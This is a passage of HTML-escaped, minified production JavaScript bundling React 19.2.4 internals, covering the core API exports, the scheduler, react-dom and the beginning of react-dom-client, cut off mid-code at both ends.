w(j,se,&quot;&quot;,&quot;&quot;,function(ve){return q.call(X,ve,de++)}),se}function ie(j){if(j._status===-1){var q=j._result;q=q(),q.then(function(X){(j._status===0||j._status===-1)&amp;&amp;(j._status=1,j._result=X)},function(X){(j._status===0||j._status===-1)&amp;&amp;(j._status=2,j._result=X)}),j._status===-1&amp;&amp;(j._status=0,j._result=q)}if(j._status===1)return j._result.default;throw j._result}var me=typeof reportError==&quot;function&quot;?reportError:function(j){if(typeof window==&quot;object&quot;&amp;&amp;typeof window.ErrorEvent==&quot;function&quot;){var q=new window.ErrorEvent(&quot;error&quot;,{bubbles:!0,cancelable:!0,message:typeof j==&quot;object&quot;&amp;&amp;j!==null&amp;&amp;typeof j.message==&quot;string&quot;?String(j.message):String(j),error:j});if(!window.dispatchEvent(q))return}else if(typeof process==&quot;object&quot;&amp;&amp;typeof process.emit==&quot;function&quot;){process.emit(&quot;uncaughtException&quot;,j);return}console.error(j)},ze={map:Y,forEach:function(j,q,X){Y(j,function(){q.apply(this,arguments)},X)},count:function(j){var q=0;return Y(j,function(){q++}),q},toArray:function(j){return Y(j,function(q){return q})||[]},only:function(j){if(!P(j))throw Error(&quot;React.Children.only expected to receive a single React element child.&quot;);return j}};return ye.Activity=b,ye.Children=ze,ye.Component=k,ye.Fragment=d,ye.Profiler=f,ye.PureComponent=K,ye.StrictMode=r,ye.Suspense=g,ye.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE=B,ye.__COMPILER_RUNTIME={__proto__:null,c:function(j){return B.H.useMemoCache(j)}},ye.cache=function(j){return function(){return j.apply(null,arguments)}},ye.cacheSignal=function(){return null},ye.cloneElement=function(j,q,X){if(j==null)throw Error(&quot;The argument must be a React element, but you passed &quot;+j+&quot;.&quot;);var se=H({},j.props),de=j.key;if(q!=null)for(ve in q.key!==void 0&amp;&amp;(de=&quot;&quot;+q.key),q)!R.call(q,ve)||ve===&quot;key&quot;||ve===&quot;__self&quot;||ve===&quot;__source&quot;||ve===&quot;ref&quot;&amp;&amp;q.ref===void 0||(se[ve]=q[ve]);var ve=arguments.length-2;if(ve===1)se.children=X;else if(1&lt;ve){for(var Ne=Array(ve),Fe=0;Fe&lt;ve;Fe++)Ne[Fe]=arguments[Fe+2];se.children=Ne}return Q(j.type,de,se)},ye.createContext=function(j){return j={$$typeof:y,_currentValue:j,_currentValue2:j,_threadCount:0,Provider:null,Consumer:null},j.Provider=j,j.Consumer={$$typeof:p,_context:j},j},ye.createElement=function(j,q,X){var se,de={},ve=null;if(q!=null)for(se in q.key!==void 0&amp;&amp;(ve=&quot;&quot;+q.key),q)R.call(q,se)&amp;&amp;se!==&quot;key&quot;&amp;&amp;se!==&quot;__self&quot;&amp;&amp;se!==&quot;__source&quot;&amp;&amp;(de[se]=q[se]);var Ne=arguments.length-2;if(Ne===1)de.children=X;else if(1&lt;Ne){for(var Fe=Array(Ne),Ve=0;Ve&lt;Ne;Ve++)Fe[Ve]=arguments[Ve+2];de.children=Fe}if(j&amp;&amp;j.defaultProps)for(se in Ne=j.defaultProps,Ne)de[se]===void 0&amp;&amp;(de[se]=Ne[se]);return Q(j,ve,de)},ye.createRef=function(){return{current:null}},ye.forwardRef=function(j){return{$$typeof:v,render:j}},ye.isValidElement=P,ye.lazy=function(j){return{$$typeof:N,_payload:{_status:-1,_result:j},_init:ie}},ye.memo=function(j,q){return{$$typeof:x,type:j,compare:q===void 0?null:q}},ye.startTransition=function(j){var q=B.T,X={};B.T=X;try{var se=j(),de=B.S;de!==null&amp;&amp;de(X,se),typeof se==&quot;object&quot;&amp;&amp;se!==null&amp;&amp;typeof se.then==&quot;function&quot;&amp;&amp;se.then(J,me)}catch(ve){me(ve)}finally{q!==null&amp;&amp;X.types!==null&amp;&amp;(q.types=X.types),B.T=q}},ye.unstable_useCacheRefresh=function(){return B.H.useCacheRefresh()},ye.use=function(j){return B.H.use(j)},ye.useActionState=function(j,q,X){return B.H.useActionState(j,q,X)},ye.useCallback=function(j,q){return B.H.useCallback(j,q)},ye.useContext=function(j){return B.H.useContext(j)},ye.useDebugValue=function(){},ye.useDeferredValue=function(j,q){return B.H.useDeferredValue(j,q)},ye.useEffect=function(j,q){return B.H.useEffect(j,q)},ye.useEffectEvent=function(j){return B.H.useEffectEvent(j)},ye.useId=function(){return B.H.useId()},ye.useImperativeHandle=function(j,q,X){return B.H.useImperativeHandle(j,q,X)},ye.useInsertionEffect=function(j,q){return B.H.useInsertionEffect(j,q)},ye.useLayoutEffect=function(j,q){return B.H.useLayoutEffect(j,q)},ye.useMemo=function(j,q){return B.H.useMemo(j,q)},ye.useOptimistic=function(j,q){return B.H.useOptimistic(j,q)},ye.useReducer=function(j,q,X){return B.H.useReducer(j,q,X)},ye.useRef=function(j){return B.H.useRef(j)},ye.useState=function(j){return B.H.useState(j)},ye.useSyncExternalStore=function(j,q,X){return B.H.useSyncExternalStore(j,q,X)},ye.useTransition=function(){return B.H.useTransition()},ye.version=&quot;19.2.4&quot;,ye}var gm;function lr(){return gm||(gm=1,Jc.exports=Lp()),Jc.exports}var m=lr(),$c={exports:{}},Pn={},Kc={exports:{}},Fc={};/**
 * @license React
 * scheduler.production.js
 *
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */var bm;function kp(){return bm||(bm=1,(function(u){function c(w,Y){var ie=w.length;w.push(Y);e:for(;0&lt;ie;){var me=ie-1&gt;&gt;&gt;1,ze=w[me];if(0&lt;f(ze,Y))w[me]=Y,w[ie]=ze,ie=me;else break e}}function d(w){return w.length===0?null:w[0]}function r(w){if(w.length===0)return null;var Y=w[0],ie=w.pop();if(ie!==Y){w[0]=ie;e:for(var me=0,ze=w.length,j=ze&gt;&gt;&gt;1;me&lt;j;){var q=2*(me+1)-1,X=w[q],se=q+1,de=w[se];if(0&gt;f(X,ie))se&lt;ze&amp;&amp;0&gt;f(de,X)?(w[me]=de,w[se]=ie,me=se):(w[me]=X,w[q]=ie,me=q);else if(se&lt;ze&amp;&amp;0&gt;f(de,ie))w[me]=de,w[se]=ie,me=se;else break e}}return Y}function f(w,Y){var ie=w.sortIndex-Y.sortIndex;return ie!==0?ie:w.id-Y.id}if(u.unstable_now=void 0,typeof performance==&quot;object&quot;&amp;&amp;typeof performance.now==&quot;function&quot;){var p=performance;u.unstable_now=function(){return p.now()}}else{var y=Date,v=y.now();u.unstable_now=function(){return y.now()-v}}var g=[],x=[],N=1,b=null,T=3,G=!1,O=!1,H=!1,M=!1,k=typeof setTimeout==&quot;function&quot;?setTimeout:null,F=typeof clearTimeout==&quot;function&quot;?clearTimeout:null,K=typeof setImmediate&lt;&quot;u&quot;?setImmediate:null;function ee(w){for(var Y=d(x);Y!==null;){if(Y.callback===null)r(x);else if(Y.startTime&lt;=w)r(x),Y.sortIndex=Y.expirationTime,c(g,Y);else break;Y=d(x)}}function I(w){if(H=!1,ee(w),!O)if(d(g)!==null)O=!0,J||(J=!0,D());else{var Y=d(x);Y!==null&amp;&amp;ae(I,Y.startTime-w)}}var J=!1,B=-1,R=5,Q=-1;function W(){return M?!0:!(u.unstable_now()-Q&lt;R)}function P(){if(M=!1,J){var w=u.unstable_now();Q=w;var Y=!0;try{e:{O=!1,H&amp;&amp;(H=!1,F(B),B=-1),G=!0;var ie=T;try{t:{for(ee(w),b=d(g);b!==null&amp;&amp;!(b.expirationTime&gt;w&amp;&amp;W());){var me=b.callback;if(typeof me==&quot;function&quot;){b.callback=null,T=b.priorityLevel;var ze=me(b.expirationTime&lt;=w);if(w=u.unstable_now(),typeof ze==&quot;function&quot;){b.callback=ze,ee(w),Y=!0;break t}b===d(g)&amp;&amp;r(g),ee(w)}else r(g);b=d(g)}if(b!==null)Y=!0;else{var j=d(x);j!==null&amp;&amp;ae(I,j.startTime-w),Y=!1}}break e}finally{b=null,T=ie,G=!1}Y=void 0}}finally{Y?D():J=!1}}}var D;if(typeof K==&quot;function&quot;)D=function(){K(P)};else if(typeof MessageChannel&lt;&quot;u&quot;){var te=new MessageChannel,$=te.port2;te.port1.onmessage=P,D=function(){$.postMessage(null)}}else D=function(){k(P,0)};function ae(w,Y){B=k(function(){w(u.unstable_now())},Y)}u.unstable_IdlePriority=5,u.unstable_ImmediatePriority=1,u.unstable_LowPriority=4,u.unstable_NormalPriority=3,u.unstable_Profiling=null,u.unstable_UserBlockingPriority=2,u.unstable_cancelCallback=function(w){w.callback=null},u.unstable_forceFrameRate=function(w){0&gt;w||125&lt;w?console.error(&quot;forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported&quot;):R=0&lt;w?Math.floor(1e3/w):5},u.unstable_getCurrentPriorityLevel=function(){return T},u.unstable_next=function(w){switch(T){case 1:case 2:case 3:var Y=3;break;default:Y=T}var ie=T;T=Y;try{return w()}finally{T=ie}},u.unstable_requestPaint=function(){M=!0},u.unstable_runWithPriority=function(w,Y){switch(w){case 1:case 2:case 3:case 4:case 5:break;default:w=3}var ie=T;T=w;try{return Y()}finally{T=ie}},u.unstable_scheduleCallback=function(w,Y,ie){var me=u.unstable_now();switch(typeof ie==&quot;object&quot;&amp;&amp;ie!==null?(ie=ie.delay,ie=typeof ie==&quot;number&quot;&amp;&amp;0&lt;ie?me+ie:me):ie=me,w){case 1:var ze=-1;break;case 2:ze=250;break;case 5:ze=1073741823;break;case 4:ze=1e4;break;default:ze=5e3}return ze=ie+ze,w={id:N++,callback:Y,priorityLevel:w,startTime:ie,expirationTime:ze,sortIndex:-1},ie&gt;me?(w.sortIndex=ie,c(x,w),d(g)===null&amp;&amp;w===d(x)&amp;&amp;(H?(F(B),B=-1):H=!0,ae(I,ie-me))):(w.sortIndex=ze,c(g,w),O||G||(O=!0,J||(J=!0,D()))),w},u.unstable_shouldYield=W,u.unstable_wrapCallback=function(w){var Y=T;return function(){var ie=T;T=Y;try{return w.apply(this,arguments)}finally{T=ie}}}})(Fc)),Fc}var jm;function Gp(){return jm||(jm=1,Kc.exports=kp()),Kc.exports}var Wc={exports:{}},dt={};/**
 * @license React
 * react-dom.production.js
 *
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */var Sm;function Yp(){if(Sm)return dt;Sm=1;var u=lr();function c(g){var x=&quot;https://react.dev/errors/&quot;+g;if(1&lt;arguments.length){x+=&quot;?args[]=&quot;+encodeURIComponent(arguments[1]);for(var N=2;N&lt;arguments.length;N++)x+=&quot;&amp;args[]=&quot;+encodeURIComponent(arguments[N])}return&quot;Minified React error #&quot;+g+&quot;; visit &quot;+x+&quot; for the full message or use the non-minified dev environment for full errors and additional helpful warnings.&quot;}function d(){}var r={d:{f:d,r:function(){throw Error(c(522))},D:d,C:d,L:d,m:d,X:d,S:d,M:d},p:0,findDOMNode:null},f=Symbol.for(&quot;react.portal&quot;);function p(g,x,N){var b=3&lt;arguments.length&amp;&amp;arguments[3]!==void 0?arguments[3]:null;return{$$typeof:f,key:b==null?null:&quot;&quot;+b,children:g,containerInfo:x,implementation:N}}var y=u.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;function v(g,x){if(g===&quot;font&quot;)return&quot;&quot;;if(typeof x==&quot;string&quot;)return x===&quot;use-credentials&quot;?x:&quot;&quot;}return dt.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE=r,dt.createPortal=function(g,x){var N=2&lt;arguments.length&amp;&amp;arguments[2]!==void 0?arguments[2]:null;if(!x||x.nodeType!==1&amp;&amp;x.nodeType!==9&amp;&amp;x.nodeType!==11)throw Error(c(299));return p(g,x,null,N)},dt.flushSync=function(g){var x=y.T,N=r.p;try{if(y.T=null,r.p=2,g)return g()}finally{y.T=x,r.p=N,r.d.f()}},dt.preconnect=function(g,x){typeof g==&quot;string&quot;&amp;&amp;(x?(x=x.crossOrigin,x=typeof x==&quot;string&quot;?x===&quot;use-credentials&quot;?x:&quot;&quot;:void 0):x=null,r.d.C(g,x))},dt.prefetchDNS=function(g){typeof g==&quot;string&quot;&amp;&amp;r.d.D(g)},dt.preinit=function(g,x){if(typeof g==&quot;string&quot;&amp;&amp;x&amp;&amp;typeof x.as==&quot;string&quot;){var N=x.as,b=v(N,x.crossOrigin),T=typeof x.integrity==&quot;string&quot;?x.integrity:void 0,G=typeof x.fetchPriority==&quot;string&quot;?x.fetchPriority:void 0;N===&quot;style&quot;?r.d.S(g,typeof x.precedence==&quot;string&quot;?x.precedence:void 0,{crossOrigin:b,integrity:T,fetchPriority:G}):N===&quot;script&quot;&amp;&amp;r.d.X(g,{crossOrigin:b,integrity:T,fetchPriority:G,nonce:typeof x.nonce==&quot;string&quot;?x.nonce:void 0})}},dt.preinitModule=function(g,x){if(typeof g==&quot;string&quot;)if(typeof x==&quot;object&quot;&amp;&amp;x!==null){if(x.as==null||x.as===&quot;script&quot;){var N=v(x.as,x.crossOrigin);r.d.M(g,{crossOrigin:N,integrity:typeof x.integrity==&quot;string&quot;?x.integrity:void 0,nonce:typeof x.nonce==&quot;string&quot;?x.nonce:void 0})}}else x==null&amp;&amp;r.d.M(g)},dt.preload=function(g,x){if(typeof g==&quot;string&quot;&amp;&amp;typeof x==&quot;object&quot;&amp;&amp;x!==null&amp;&amp;typeof x.as==&quot;string&quot;){var N=x.as,b=v(N,x.crossOrigin);r.d.L(g,N,{crossOrigin:b,integrity:typeof x.integrity==&quot;string&quot;?x.integrity:void 0,nonce:typeof x.nonce==&quot;string&quot;?x.nonce:void 0,type:typeof x.type==&quot;string&quot;?x.type:void 0,fetchPriority:typeof x.fetchPriority==&quot;string&quot;?x.fetchPriority:void 0,referrerPolicy:typeof x.referrerPolicy==&quot;string&quot;?x.referrerPolicy:void 0,imageSrcSet:typeof x.imageSrcSet==&quot;string&quot;?x.imageSrcSet:void 0,imageSizes:typeof x.imageSizes==&quot;string&quot;?x.imageSizes:void 0,media:typeof x.media==&quot;string&quot;?x.media:void 0})}},dt.preloadModule=function(g,x){if(typeof g==&quot;string&quot;)if(x){var N=v(x.as,x.crossOrigin);r.d.m(g,{as:typeof x.as==&quot;string&quot;&amp;&amp;x.as!==&quot;script&quot;?x.as:void 0,crossOrigin:N,integrity:typeof x.integrity==&quot;string&quot;?x.integrity:void 0})}else r.d.m(g)},dt.requestFormReset=function(g){r.d.r(g)},dt.unstable_batchedUpdates=function(g,x){return g(x)},dt.useFormState=function(g,x,N){return y.H.useFormState(g,x,N)},dt.useFormStatus=function(){return y.H.useHostTransitionStatus()},dt.version=&quot;19.2.4&quot;,dt}var Nm;function Qp(){if(Nm)return Wc.exports;Nm=1;function u(){if(!(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&gt;&quot;u&quot;||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!=&quot;function&quot;))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(u)}catch(c){console.error(c)}}return u(),Wc.exports=Yp(),Wc.exports}/**
 * @license React
 * react-dom-client.production.js
 *
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */var Em;function Xp(){if(Em)return Pn;Em=1;var u=Gp(),c=lr(),d=Qp();function r(e){var t=&quot;https://react.dev/errors/&quot;+e;if(1&lt;arguments.length){t+=&quot;?args[]=&quot;+encodeURIComponent(arguments[1]);for(var a=2;a&lt;arguments.length;a++)t+=&quot;&amp;args[]=&quot;+encodeURIComponent(arguments[a])}return&quot;Minified React error #&quot;+e+&quot;; visit &quot;+t+&quot; for the full message or use the non-minified dev environment for full errors and additional helpful warnings.&quot;}function f(e){return!(!e||e.nodeType!==1&amp;&amp;e.nodeType!==9&amp;&amp;e.nodeType!==11)}function p(e){var t=e,a=e;if(e.alternate)for(;t.return;)t=t.return;else{e=t;do t=e,(t.flags&amp;4098)!==0&amp;&amp;(a=t.return),e=t.return;while(e)}return t.tag===3?a:null}function y(e){if(e.tag===13){var t=e.memoizedState;if(t===null&amp;&amp;(e=e.alternate,e!==null&amp;&amp;(t=e.memoizedState)),t!==null)return t.dehydrated}return null}function v(e){if(e.tag===31){var t=e.memoizedState;if(t===null&amp;&amp;(e=e.alternate,e!==null&amp;&amp;(t=e.memoizedState)),t!==null)return t.dehydrated}return null}function g(e){if(p(e)!==e)throw Error(r(188))}function x(e){var t=e.alternate;if(!t){if(t=p(e),t===null)throw Error(r(188));return t!==e?null:e}for(var a=e,l=t;;){var s=a.return;if(s===null)break;var i=s.alternate;if(i===null){if(l=s.return,l!==null){a=l;continue}break}if(s.child===i.child){for(i=s.child;i;){if(i===a)return g(s),e;if(i===l)return g(s),t;i=i.sibling}throw Error(r(188))}if(a.return!==l.return)a=s,l=i;else{for(var o=!1,h=s.child;h;){if(h===a){o=!0,a=s,l=i;break}if(h===l){o=!0,l=s,a=i;break}h=h.sibling}if(!o){for(h=i.child;h;){if(h===a){o=!0,a=i,l=s;break}if(h===l){o=!0,l=i,a=s;break}h=h.sibling}if(!o)throw Error(r(189))}}if(a.alternate!==l)throw Error(r(190))}if(a.tag!==3)throw Error(r(188));return a.stateNode.current===a?e:t}function N(e){var t=e.tag;if(t===5||t===26||t===27||t===6)return e;for(e=e.child;e!==null;){if(t=N(e),t!==null)return t;e=e.sibling}return null}var b=Object.assign,T=Symbol.for(&quot;react.element&quot;),G=Symbol.for(&quot;react.transitional.element&quot;),O=Symbol.for(&quot;react.portal&quot;),H=Symbol.for(&quot;react.fragment&quot;),M=Symbol.for(&quot;react.strict_mode&quot;),k=Symbol.for(&quot;react.profiler&quot;),F=Symbol.for(&quot;react.consumer&quot;),K=Symbol.for(&quot;react.context&quot;),ee=Symbol.for(&quot;react.forward_ref&quot;),I=Symbol.for(&quot;react.suspense&quot;),J=Symbol.for(&quot;react.suspense_list&quot;),B=Symbol.for(&quot;react.memo&quot;),R=Symbol.for(&quot;react.lazy&quot;),Q=Symbol.for(&quot;react.activity&quot;),W=Symbol.for(&quot;react.memo_cache_sentinel&quot;),P=Symbol.iterator;function D(e){return e===null||typeof e!=&quot;object&quot;?null:(e=P&amp;&amp;e[P]||e[&quot;@@iterator&quot;],typeof e==&quot;function&quot;?e:null)}var te=Symbol.for(&quot;react.client.reference&quot;);function $(e){if(e==null)return null;if(typeof e==&quot;function&quot;)return e.$$typeof===te?null:e.displayName||e.name||null;if(typeof e==&quot;string&quot;)return e;switch(e){case H:return&quot;Fragment&quot;;case k:return&quot;Profiler&quot;;case M:return&quot;StrictMode&quot;;case I:return&quot;Suspense&quot;;case J:return&quot;SuspenseList&quot;;case Q:return&quot;Activity&quot;}if(typeof e==&quot;object&quot;)switch(e.$$typeof){case O:return&quot;Portal&quot;;case K:return e.displayName||&quot;Context&quot;;case F:return(e._context.displayName||&quot;Context&quot;)+&quot;.Consumer&quot;;case ee:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||&quot;&quot;,e=e!==&quot;&quot;?&quot;ForwardRef(&quot;+e+&quot;)&quot;:&quot;ForwardRef&quot;),e;case B:return t=e.displayName||null,t!==null?t:$(e.type)||&quot;Memo&quot;;case R:t=e._payload,e=e._init;try{return $(e(t))}catch{}}return null}var ae=Array.isArray,w=c.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,Y=d.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,ie={pending:!1,data:null,method:null,action:null},me=[],ze=-1;function j(e){return{current:e}}function q(e){0&gt;ze||(e.current=me[ze],me[ze]=null,ze--)}function X(e,t){ze++,me[ze]=e.current,e.current=t}var se=j(null),de=j(null),ve=j(null),Ne=j(null);function Fe(e,t){switch(X(ve,t),X(de,e),X(se,null),t.nodeType){case 9:case 11:e=(e=t.documentElement)&amp;&amp;(e=e.namespaceURI)?Lf(e):0;break;default:if(e=t.tagName,t=t.namespaceURI)t=Lf(t),e=kf(t,e);else switch(e){case&quot;svg&quot;:e=1;break;case&quot;math&quot;:e=2;break;default:e=0}}q(se),X(se,e)}function Ve(){q(se),q(de),q(ve)}function Ka(e){e.memoizedState!==null&amp;&amp;X(Ne,e);var t=se.current,a=kf(t,e.type);t!==a&amp;&amp;(X(de,e),X(se,a))}function pl(e){de.current===e&amp;&amp;(q(se),q(de)),Ne.current===e&amp;&amp;(q(Ne),Jn._currentValue=ie)}var pe,Dt;function Me(e){if(pe===void 0)try{throw Error()}catch(a){var t=a.stack.trim().match(/\n( *(at )?)/);pe=t&amp;&amp;t[1]||&quot;&quot;,Dt=-1&lt;a.stack.indexOf(`
    at`)?&quot; (&lt;anonymous&gt;)&quot;:-1&lt;a.stack.indexOf(&quot;@&quot;)?&quot;@unknown:0:0&quot;:&quot;&quot;}return`
`+pe+e+Dt}var Na=!1;function zi(e,t){if(!e||Na)return&quot;&quot;;Na=!0;var a=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{var l={DetermineComponentFrameRoot:function(){try{if(t){var Z=function(){throw Error()};if(Object.defineProperty(Z.prototype,&quot;props&quot;,{set:function(){throw Error()}}),typeof Reflect==&quot;object&quot;&amp;&amp;Reflect.construct){try{Reflect.construct(Z,[])}catch(U){var z=U}Reflect.construct(e,[],Z)}else{try{Z.call()}catch(U){z=U}e.call(Z.prototype)}}else{try{throw Error()}catch(U){z=U}(Z=e())&amp;&amp;typeof Z.catch==&quot;function&quot;&amp;&amp;Z.catch(function(){})}}catch(U){if(U&amp;&amp;z&amp;&amp;typeof U.stack==&quot;string&quot;)return[U.stack,z.stack]}return[null,null]}};l.DetermineComponentFrameRoot.displayName=&quot;DetermineComponentFrameRoot&quot;;var s=Object.getOwnPropertyDescriptor(l.DetermineComponentFrameRoot,&quot;name&quot;);s&amp;&amp;s.configurable&amp;&amp;Object.defineProperty(l.DetermineComponentFrameRoot,&quot;name&quot;,{value:&quot;DetermineComponentFrameRoot&quot;});var i=l.DetermineComponentFrameRoot(),o=i[0],h=i[1];if(o&amp;&amp;h){var S=o.split(`
`),C=h.split(`
`);for(s=l=0;l&lt;S.length&amp;&amp;!S[l].includes(&quot;DetermineComponentFrameRoot&quot;);)l++;for(;s&lt;C.length&amp;&amp;!C[s].includes(&quot;DetermineComponentFrameRoot&quot;);)s++;if(l===S.length||s===C.length)for(l=S.length-1,s=C.length-1;1&lt;=l&amp;&amp;0&lt;=s&amp;&amp;S[l]!==C[s];)s--;for(;1&lt;=l&amp;&amp;0&lt;=s;l--,s--)if(S[l]!==C[s]){if(l!==1||s!==1)do if(l--,s--,0&gt;s||S[l]!==C[s]){var L=`
`+S[l].replace(&quot; at new &quot;,&quot; at &quot;);return e.displayName&amp;&amp;L.includes(&quot;&lt;anonymous&gt;&quot;)&amp;&amp;(L=L.replace(&quot;&lt;anonymous&gt;&quot;,e.displayName)),L}while(1&lt;=l&amp;&amp;0&lt;=s);break}}}finally{Na=!1,Error.prepareStackTrace=a}return(a=e?e.displayName||e.name:&quot;&quot;)?Me(a):&quot;&quot;}function fh(e,t){switch(e.tag){case 26:case 27:case 5:return Me(e.type);case 16:return Me(&quot;Lazy&quot;);case 13:return e.child!==t&amp;&amp;t!==null?Me(&quot;Suspense Fallback&quot;):Me(&quot;Suspense&quot;);case 19:return Me(&quot;SuspenseList&quot;);case 0:case 15:return zi(e.type,!1);case 11:return zi(e.type.render,!1);case 1:return zi(e.type,!0);case 31:return Me(&quot;Activity&quot;);default:return&quot;&quot;}}function hr(e){try{var t=&quot;&quot;,a=null;do t+=fh(e,a),a=e,e=e.return;while(e);return t}catch(l){return`
Error generating stack: `+l.message+`
`+l.stack}}var Oi=Object.prototype.hasOwnProperty,wi=u.unstable_scheduleCallback,Ri=u.unstable_cancelCallback,mh=u.unstable_shouldYield,hh=u.unstable_requestPaint,St=u.unstable_now,ph=u.unstable_getCurrentPriorityLevel,pr=u.unstable_ImmediatePriority,xr=u.unstable_UserBlockingPriority,ls=u.unstable_NormalPriority,xh=u.unstable_LowPriority,vr=u.unstable_IdlePriority,vh=u.log,yh=u.unstable_setDisableYieldValue,nn=null,Nt=null;function Ea(e){if(typeof vh==&quot;function&quot;&amp;&amp;yh(e),Nt&amp;&amp;typeof Nt.setStrictMode==&quot;function&quot;)try{Nt.setStrictMode(nn,e)}catch{}}var Et=Math.clz32?Math.clz32:jh,gh=Math.log,bh=Math.LN2;function jh(e){return e&gt;&gt;&gt;=0,e===0?32:31-(gh(e)/bh|0)|0}var ns=256,ss=262144,is=4194304;function Fa(e){var t=e&amp;42;if(t!==0)return t;switch(e&amp;-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:return 64;case 128:return 128;case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:return e&amp;261888;case 262144:case 524288:case 1048576:case 2097152:return e&amp;3932160;case 4194304:case 8388608:case 16777216:case 33554432:return e&amp;62914560;case 67108864:return 67108864;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 0;default:return e}}function us(e,t,a){var l=e.pendingLanes;if(l===0)return 0;var s=0,i=e.suspendedLanes,o=e.pingedLanes;e=e.warmLanes;var h=l&amp;134217727;return h!==0?(l=h&amp;~i,l!==0?s=Fa(l):(o&amp;=h,o!==0?s=Fa(o):a||(a=h&amp;~e,a!==0&amp;&amp;(s=Fa(a))))):(h=l&amp;~i,h!==0?s=Fa(h):o!==0?s=Fa(o):a||(a=l&amp;~e,a!==0&amp;&amp;(s=Fa(a)))),s===0?0:t!==0&amp;&amp;t!==s&amp;&amp;(t&amp;i)===0&amp;&amp;(i=s&amp;-s,a=t&amp;-t,i&gt;=a||i===32&amp;&amp;(a&amp;4194048)!==0)?t:s}function sn(e,t){return(e.pendingLanes&amp;~(e.suspendedLanes&amp;~e.pingedLanes)&amp;t)===0}function Sh(e,t){switch(e){case 1:case 2:case 4:case 8:case 64:return t+250;case 16:case 32:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return t+5e3;case 4194304:case 8388608:case 16777216:case 33554432:return-1;case 67108864:case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function yr(){var e=is;return is&lt;&lt;=1,(is&amp;62914560)===0&amp;&amp;(is=4194304),e}function Di(e){for(var t=[],a=0;31&gt;a;a++)t.push(e);return t}function un(e,t){e.pendingLanes|=t,t!==268435456&amp;&amp;(e.suspendedLanes=0,e.pingedLanes=0,e.warmLanes=0)}function Nh(e,t,a,l,s,i){var o=e.pendingLanes;e.pendingLanes=a,e.suspendedLanes=0,e.pingedLanes=0,e.warmLanes=0,e.expiredLanes&amp;=a,e.entangledLanes&amp;=a,e.errorRecoveryDisabledLanes&amp;=a,e.shellSuspendCounter=0;var h=e.entanglements,S=e.expirationTimes,C=e.hiddenUpdates;for(a=o&amp;~a;0&lt;a;){var L=31-Et(a),Z=1&lt;&lt;L;h[L]=0,S[L]=-1;var z=C[L];if(z!==null)for(C[L]=null,L=0;L&lt;z.length;L++){var U=z[L];U!==null&amp;&amp;(U.lane&amp;=-536870913)}a&amp;=~Z}l!==0&amp;&amp;gr(e,l,0),i!==0&amp;&amp;s===0&amp;&amp;e.tag!==0&amp;&amp;(e.suspendedLanes|=i&amp;~(o&amp;~t))}function gr(e,t,a){e.pendingLanes|=t,e.suspendedLanes&amp;=~t;var l=31-Et(t);e.entangledLanes|=t,e.entanglements[l]=e.entanglements[l]|1073741824|a&amp;261930}function br(e,t){var a=e.entangledLanes|=t;for(e=e.entanglements;a;){var l=31-Et(a),s=1&lt;&lt;l;s&amp;t|e[l]&amp;t&amp;&amp;(e[l]|=t),a&amp;=~s}}function jr(e,t){var a=t&amp;-t;return a=(a&amp;42)!==0?1:Mi(a),(a&amp;(e.suspendedLanes|t))!==0?0:a}function Mi(e){switch(e){case 2:e=1;break;case 8:e=4;break;case 32:e=16;break;case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:e=128;break;case 268435456:e=134217728;break;default:e=0}return e}function Ui(e){return e&amp;=-e,2&lt;e?8&lt;e?(e&amp;134217727)!==0?32:268435456:8:2}function Sr(){var e=Y.p;return e!==0?e:(e=window.event,e===void 0?32:rm(e.type))}function Nr(e,t){var a=Y.p;try{return Y.p=e,t()}finally{Y.p=a}}var _a=Math.random().toString(36).slice(2),st=&quot;__reactFiber$&quot;+_a,pt=&quot;__reactProps$&quot;+_a,xl=&quot;__reactContainer$&quot;+_a,Hi=&quot;__reactEvents$&quot;+_a,Eh=&quot;__reactListeners$&quot;+_a,_h=&quot;__reactHandles$&quot;+_a,Er=&quot;__reactResources$&quot;+_a,cn=&quot;__reactMarker$&quot;+_a;function qi(e){delete e[st],delete e[pt],delete e[Hi],delete e[Eh],delete e[_h]}function vl(e){var t=e[st];if(t)return t;for(var a=e.parentNode;a;){if(t=a[xl]||a[st]){if(a=t.alternate,t.child!==null||a!==null&amp;&amp;a.child!==null)for(e=Jf(e);e!==null;){if(a=e[st])return a;e=Jf(e)}return t}e=a,a=e.parentNode}return null}function yl(e){if(e=e[st]||e[xl]){var t=e.tag;if(t===5||t===6||t===13||t===31||t===26||t===27||t===3)return e}return null}function rn(e){var t=e.tag;if(t===5||t===26||t===27||t===6)return e.stateNode;throw Error(r(33))}function gl(e){var t=e[Er];return t||(t=e[Er]={hoistableStyles:new Map,hoistableScripts:new Map}),t}function lt(e){e[cn]=!0}var 